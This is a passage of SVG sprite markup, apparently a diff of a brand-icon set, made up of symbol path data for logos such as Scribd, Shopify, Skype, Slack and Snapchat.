0-58 13.5c-5.9-11.9-12-22.3-13-30.1-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.3-6.7-24 2.5-25.29 5.9a122.83 122.83 0 0 0-5.3 19.1c-2.3 11.7-25.79 53.5-39.09 75.3-4.4-8.5-8.1-16-8.9-22-1.2-9.1-2.5-14.5-1.1-25.3s7.7-26.1 7.6-27.2-1.4-6.6-14.29-6.7-24 2.5-25.3 5.9-2.7 11.4-5.3 19.1-33.89 77.3-42.08 95.4c-4.2 9.2-7.8 16.6-10.4 21.6-.4.8-.7 1.3-.9 1.7.3-.5.5-1 .5-.8-2.2 4.3-3.5 6.7-3.5 6.7v.1c-1.7 3.2-3.6 6.1-4.5 6.1-.6 0-1.9-8.4.3-19.9 4.7-24.2 15.8-61.8 15.7-63.1-.1-.7 2.1-7.2-7.3-10.7-9.1-3.3-12.4 2.2-13.2 2.2s-1.4 2-1.4 2 10.1-42.4-19.39-42.4c-18.4 0-44 20.2-56.58 38.5-7.9 4.3-25 13.6-43 23.5-6.9 3.8-14 7.7-20.7 11.4-.5-.5-.9-1-1.4-1.5-35.79-38.2-101.87-65.2-99.07-116.5 1-18.7 7.5-67.8 127.07-127.4 98-48.8 176.35-35.4 189.84-5.6 19.4 42.5-41.89 121.6-143.66 133-38.79 4.3-59.18-10.7-64.28-16.3-5.3-5.9-6.1-6.2-8.1-5.1-3.3 1.8-1.2 7 0 10.1 3 7.9 15.5 21.9 36.79 28.9 18.7 6.1 64.18 9.5 119.17-11.8 61.78-23.8 109.87-90.1 95.77-145.6C386.52 18.32 293-.18 204.57 31.22c-52.69 18.7-109.67 48.1-150.66 86.4-48.69 45.6-56.48 85.3-53.28 101.9 11.39 58.9 92.57 97.3 125.06 125.7-1.6.9-3.1 1.7-4.5 2.5-16.29 8.1-78.18 40.5-93.67 74.7-17.5 38.8 2.9 66.6 16.29 70.4 41.79 11.6 84.58-9.3 107.57-43.6s20.2-79.1 9.6-99.5c-.1-.3-.3-.5-.4-.8 4.2-2.5 8.5-5 12.8-7.5 8.29-4.9 16.39-9.4 23.49-13.3-4 10.8-6.9 23.8-8.4 42.6-1.8 22 7.3 50.5 19.1 61.7 5.2 4.9 11.49 5 15.39 5 13.8 0 20-11.4 26.89-25 8.5-16.6 16-35.9 16-35.9s-9.4 52.2 16.3 52.2c9.39 0 18.79-12.1 23-18.3v.1s.2-.4.7-1.2c1-1.5 1.5-2.4 1.5-2.4v-.3c3.8-6.5 12.1-21.4 24.59-46 16.2-31.8 31.69-71.5 31.69-71.5a201.24 201.24 0 0 0 6.2 25.8c2.8 9.5 8.7 19.9 13.4 30-3.8 5.2-6.1 8.2-6.1 8.2a.31.31 0 0 0 .1.2c-3 4-6.4 8.3-9.9 12.5-12.79 15.2-28 32.6-30 37.6-2.4 5.9-1.8 10.3 2.8 13.7 3.4 2.6 9.4 3 15.69 2.5 11.5-.8 19.6-3.6 23.5-5.4a82.2 82.2 0 0 0 20.19-10.6c12.5-9.2 20.1-22.4 19.4-39.8-.4-9.6-3.5-19.2-7.3-28.2 1.1-1.6 2.3-3.3 3.4-5C434.8 301.72 450.1 270 450.1 270a201.24 201.24 0 0 0 6.2 25.8c2.4 8.1 7.09 17 11.39 25.7-18.59 15.1-30.09 32.6-34.09 44.1-7.4 21.3-1.6 30.9 9.3 33.1 4.9 1 11.9-1.3 17.1-3.5a79.46 79.46 0 0 0 21.59-11.1c12.5-9.2 24.59-22.1 23.79-39.6-.3-7.9-2.5-15.8-5.4-23.4 15.7-6.6 36.09-10.2 62.09-7.2 55.68 6.5 66.58 41.3 64.48 55.8s-13.8 22.6-17.7 25-5.1 3.3-4.8 5.1c.5 2.6 2.3 2.5 5.6 1.9 4.6-.8 29.19-11.8 30.29-38.7 1.6-34-31.09-71.4-89-71.1zm-429.18 144.7c-18.39 20.1-44.19 27.7-55.28 21.3C54.61 451 59.31 421.42 82 400c13.8-13 31.59-25 43.39-32.4 2.7-1.6 6.6-4 11.4-6.9.8-.5 1.2-.7 1.2-.7.9-.6 1.9-1.1 2.9-1.7 8.29 30.4.3 57.2-19.1 78.3zm134.36-91.4c-6.4 15.7-19.89 55.7-28.09 53.6-7-1.8-11.3-32.3-1.4-62.3 5-15.1 15.6-33.1 21.9-40.1 10.09-11.3 21.19-14.9 23.79-10.4 3.5 5.9-12.2 49.4-16.2 59.2zm111 53c-2.7 1.4-5.2 2.3-6.4 1.6-.9-.5 1.1-2.4 1.1-2.4s13.9-14.9 19.4-21.7c3.2-4 6.9-8.7 10.89-13.9 0 .5.1 1 .1 1.6-.13 17.9-17.32 30-25.12 34.8zm85.58-19.5c-2-1.4-1.7-6.1 5-20.7 2.6-5.7 8.59-15.3 19-24.5a36.18 36.18 0 0 1 1.9 10.8c-.1 22.5-16.2 30.9-25.89 34.4z"></path> + </symbol> + <symbol id="schlix" viewBox="0 0 448 512"> + <path d="M350.5 157.7l-54.2-46.1 73.4-39 78.3 44.2-97.5 40.9zM192 122.1l45.7-28.2 34.7 34.6-55.4 29-25-35.4zm-65.1 6.6l31.9-22.1L176 135l-36.7 22.5-12.4-28.8zm-23.3 88.2l-8.8-34.8 29.6-18.3 13.1 35.3-33.9 17.8zm-21.2-83.7l23.9-18.1 8.9 24-26.7 18.3-6.1-24.2zM59 206.5l-3.6-28.4 22.3-15.5 6.1 28.7L59 206.5zm-30.6 16.6l20.8-12.8 3.3 33.4-22.9 12-1.2-32.6zM1.4 268l19.2-10.2.4 38.2-21 8.8L1.4 268zm59.1 59.3l-28.3 8.3-1.6-46.8 25.1-10.7 4.8 49.2zM99 263.2l-31.1 13-5.2-40.8L90.1 221l8.9 42.2zM123.2 377l-41.6 5.9-8.1-63.5 35.2-10.8 14.5 68.4zm28.5-139.9l21.2 57.1-46.2 13.6-13.7-54.1 38.7-16.6zm85.7 230.5l-70.9-3.3-24.3-95.8 55.2-8.6 40 107.7zm-84.9-279.7l42.2-22.4 28 45.9-50.8 21.3-19.4-44.8zm41 94.9l61.3-18.7 52.8 86.6-79.8 11.3-34.3-79.2zm51.4-85.6l67.3-28.8 65.5 65.4-88.6 26.2-44.2-62.8z"></path> + </symbol> + <symbol id="scribd" viewBox="0 0 384 512"> + <path d="M42.3 252.7c-16.1-19-24.7-45.9-24.8-79.9 0-100.4 75.2-153.1 167.2-153.1 98.6-1.6 156.8 49 184.3 70.6l-50.5 72.1-37.3-24.6 26.9-38.6c-36.5-24-79.4-36.5-123-35.8-50.7-.8-111.7 27.2-111.7 76.2 0 18.7 11.2 20.7 28.6 15.6 23.3-5.3 41.9.6 55.8 14 26.4 24.3 23.2 67.6-.7 91.9-29.2 29.5-85.2 27.3-114.8-8.4zm317.7 5.9c-15.5-18.8-38.9-29.4-63.2-28.6-38.1-2-71.1 28-70.5 67.2-.7 16.8 6 33 18.4 44.3 14.1 13.9 33 19.7 56.3 14.4 17.4-5.1 28.6-3.1 28.6 15.6 0 4.3-.5 8.5-1.4 12.7-16.7 40.9-59.5 64.4-121.4 64.4-51.9.2-102.4-16.4-144.1-47.3l33.7-39.4-35.6-27.4L0 406.3l15.4 13.8c52.5 46.8 120.4 72.5 190.7 72.2 51.4 0 94.4-10.5 133.6-44.1 57.1-51.4 54.2-149.2 20.3-189.6z"></path> + </symbol> + <symbol id="searchengin" viewBox="0 0 460 512"> + <path d="M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z"></path> + </symbol> + <symbol id="sellcast" viewBox="0 0 448 512"> + <path d="M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z"></path> + </symbol> + <symbol id="sellsy" viewBox="0 0 640 512"> + <path d="M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z"></path> + </symbol> + <symbol id="servicestack" viewBox="0 0 496 512"> + <path d="M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z"></path> + </symbol> + <symbol id="shirtsinbulk" viewBox="0 0 448 512"> + <path d="M100 410.3l30.6 13.4 4.4-9.9-30.6-13.4zm39.4 17.5l30.6 13.4 4.4-9.9-30.6-13.4zm172.1-14l4.4 9.9 30.6-13.4-4.4-9.9zM179.1 445l30.3 13.7 4.4-9.9-30.3-13.4zM60.4 392.8L91 406.2l4.4-9.6-30.6-13.7zm211.4 38.5l4.4 9.9 30.6-13.4-4.4-9.9zm-39.3 17.5l4.4 9.9 30.6-13.7-4.4-9.6zm118.4-52.2l4.4 9.6 30.6-13.4-4.4-9.9zM170 46.6h-33.5v10.5H170zm-47.2 0H89.2v10.5h33.5zm-47.3 0H42.3v10.5h33.3zm141.5 0h-33.2v10.5H217zm94.5 0H278v10.5h33.5zm47.3 0h-33.5v10.5h33.5zm-94.6 0H231v10.5h33.2zm141.5 0h-33.3v10.5h33.3zM52.8 351.1H42v33.5h10.8zm70-215.9H89.2v10.5h33.5zm-70 10.6h22.8v-10.5H42v33.5h10.8zm168.9 228.6c50.5 0 91.3-40.8 91.3-91.3 0-50.2-40.8-91.3-91.3-91.3-50.2 0-91.3 41.1-91.3 91.3 0 50.5 41.1 91.3 91.3 91.3zm-48.2-111.1c0-25.4 29.5-31.8 49.6-31.8 16.9 0 29.2 5.8 44.3 12l-8.8 16.9h-.9c-6.4-9.9-24.8-13.1-35.6-13.1-9 0-29.8 1.8-29.8 14.9 0 21.6 78.5-10.2 78.5 37.9 0 25.4-31.5 31.2-51 31.2-18.1 0-32.4-2.9-47.2-12.2l9-18.4h.9c6.1 12.2 23.6 14.9 35.9 14.9 8.7 0 32.7-1.2 32.7-14.3 0-26.1-77.6 6.3-77.6-38zM52.8 178.4H42V212h10.8zm342.4 206.2H406v-33.5h-10.8zM52.8 307.9H42v33.5h10.8zM0 3.7v406l221.7 98.6L448 409.7V3.7zm418.8 387.1L222 476.5 29.2 390.8V120.7h389.7v270.1zm0-299.3H29.2V32.9h389.7v58.6zm-366 130.1H42v33.5h10.8zm0 43.2H42v33.5h10.8zM170 135.2h-33.5v10.5H170zm225.2 163.1H406v-33.5h-10.8zm0-43.2H406v-33.5h-10.8zM217 135.2h-33.2v10.5H217zM395.2 212H406v-33.5h-10.8zm0 129.5H406V308h-10.8zm-131-206.3H231v10.5h33.2zm47.3 0H278v10.5h33.5zm83.7 33.6H406v-33.5h-33.5v10.5h22.8zm-36.4-33.6h-33.5v10.5h33.5z"></path> + </symbol> + <symbol id="shopify" viewBox="0 0 448 512"> + <path d="M388.32,104.1a4.66,4.66,0,0,0-4.4-4c-2,0-37.23-.8-37.23-.8s-21.61-20.82-29.62-28.83V503.2L442.76,472S388.72,106.5,388.32,104.1ZM288.65,70.47a116.67,116.67,0,0,0-7.21-17.61C271,32.85,255.42,22,237,22a15,15,0,0,0-4,.4c-.4-.8-1.2-1.2-1.6-2C223.4,11.63,213,7.63,200.58,8c-24,.8-48,18-67.25,48.83-13.61,21.62-24,48.84-26.82,70.06-27.62,8.4-46.83,14.41-47.23,14.81-14,4.4-14.41,4.8-16,18-1.2,10-38,291.82-38,291.82L307.86,504V65.67a41.66,41.66,0,0,0-4.4.4S297.86,67.67,288.65,70.47ZM233.41,87.69c-16,4.8-33.63,10.4-50.84,15.61,4.8-18.82,14.41-37.63,25.62-50,4.4-4.4,10.41-9.61,17.21-12.81C232.21,54.86,233.81,74.48,233.41,87.69ZM200.58,24.44A27.49,27.49,0,0,1,215,28c-6.4,3.2-12.81,8.41-18.81,14.41-15.21,16.42-26.82,42-31.62,66.45-14.42,4.41-28.83,8.81-42,12.81C131.33,83.28,163.75,25.24,200.58,24.44ZM154.15,244.61c1.6,25.61,69.25,31.22,73.25,91.66,2.8,47.64-25.22,80.06-65.65,82.47-48.83,3.2-75.65-25.62-75.65-25.62l10.4-44s26.82,20.42,48.44,18.82c14-.8,19.22-12.41,18.81-20.42-2-33.62-57.24-31.62-60.84-86.86-3.2-46.44,27.22-93.27,94.47-97.68,26-1.6,39.23,4.81,39.23,4.81L221.4,225.39s-17.21-8-37.63-6.4C154.15,221,153.75,239.8,154.15,244.61ZM249.42,82.88c0-12-1.6-29.22-7.21-43.63,18.42,3.6,27.22,24,31.23,36.43Q262.63,78.68,249.42,82.88Z"></path> + </symbol> + <symbol id="shopware" viewBox="0 0 512 512"> + <path d="M403.5 455.41A246.17 246.17 0 0 1 256 504C118.81 504 8 393 8 256 8 118.81 119 8 256 8a247.39 247.39 0 0 1 165.7 63.5 3.57 3.57 0 0 1-2.86 6.18A418.62 418.62 0 0 0 362.13 74c-129.36 0-222.4 53.47-222.4 155.35 0 109 92.13 145.88 176.83 178.73 33.64 13 65.4 25.36 87 41.59a3.58 3.58 0 0 1 0 5.72zM503 233.09a3.64 3.64 0 0 0-1.27-2.44c-51.76-43-93.62-60.48-144.48-60.48-84.13 0-80.25 52.17-80.25 53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z"></path> + </symbol> + <symbol id="simplybuilt" viewBox="0 0 512 512"> + <path d="M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z"></path> + </symbol> + <symbol id="sistrix" viewBox="0 0 448 512"> + <path d="M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z"></path> + </symbol> + <symbol id="sith" viewBox="0 0 448 512"> + <path d="M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z"></path> + </symbol> + <symbol id="sketch" viewBox="0 0 512 512"> + <path d="M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z"></path> + </symbol> + <symbol id="skyatlas" viewBox="0 0 640 512"> + <path d="M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z"></path> + </symbol> + <symbol id="skype" viewBox="0 0 448 512"> + <path d="M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z"></path> + </symbol> + <symbol id="slack" viewBox="0 0 448 512"> + <path d="M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z"></path> + </symbol> + <symbol id="slack-hash" viewBox="0 0 448 512"> + <path d="M446.2 270.4c-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-30.3-90 45.4-15.1c19.1-6.2 29.1-26.8 23-45.9-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-93.4 31.2-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-45.3 15c-19.1 6.2-29.1 26.8-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l30.3 90L78 354.8c-19 6.2-29.1 26.9-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 93.6-31.3 15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 45.4-15.1c19-6 29.1-26.7 22.9-45.7zm-254.1 47.2l-30.3-90.2 93.5-31.3 30.3 90.2-93.5 31.3z"></path> + </symbol> + <symbol id="slideshare" viewBox="0 0 512 512"> + <path d="M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z"></path> + </symbol> + <symbol id="snapchat" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm169.5 338.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C183.1 100 230.7 96 244.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z"></path> + </symbol> + <symbol id="snapchat-ghost" viewBox="0 0 512 512"> + <path d="M510.846 392.673c-5.211 12.157-27.239 21.089-67.36 27.318-2.064 2.786-3.775 14.686-6.507 23.956-1.625 5.566-5.623 8.869-12.128 8.869l-.297-.005c-9.395 0-19.203-4.323-38.852-4.323-26.521 0-35.662 6.043-56.254 20.588-21.832 15.438-42.771 28.764-74.027 27.399-31.646 2.334-58.025-16.908-72.871-27.404-20.714-14.643-29.828-20.582-56.241-20.582-18.864 0-30.736 4.72-38.852 4.72-8.073 0-11.213-4.922-12.422-9.04-2.703-9.189-4.404-21.263-6.523-24.13-20.679-3.209-67.31-11.344-68.498-32.15a10.627 10.627 0 0 1 8.877-11.069c69.583-11.455 100.924-82.901 102.227-85.934.074-.176.155-.344.237-.515 3.713-7.537 4.544-13.849 2.463-18.753-5.05-11.896-26.872-16.164-36.053-19.796-23.715-9.366-27.015-20.128-25.612-27.504 2.437-12.836 21.725-20.735 33.002-15.453 8.919 4.181 16.843 6.297 23.547 6.297 5.022 0 8.212-1.204 9.96-2.171-2.043-35.936-7.101-87.29 5.687-115.969C158.122 21.304 229.705 15.42 250.826 15.42c.944 0 9.141-.089 10.11-.089 52.148 0 102.254 26.78 126.723 81.643 12.777 28.65 7.749 79.792 5.695 116.009 1.582.872 4.357 1.942 8.599 2.139 6.397-.286 13.815-2.389 22.069-6.257 6.085-2.846 14.406-2.461 20.48.058l.029.01c9.476 3.385 15.439 10.215 15.589 17.87.184 9.747-8.522 18.165-25.878 25.018-2.118.835-4.694 1.655-7.434 2.525-9.797 3.106-24.6 7.805-28.616 17.271-2.079 4.904-1.256 11.211 2.46 18.748.087.168.166.342.239.515 1.301 3.03 32.615 74.46 102.23 85.934 6.427 1.058 11.163 7.877 7.725 15.859z"></path> + </symbol> + <symbol id="snapchat-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6.5 314.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 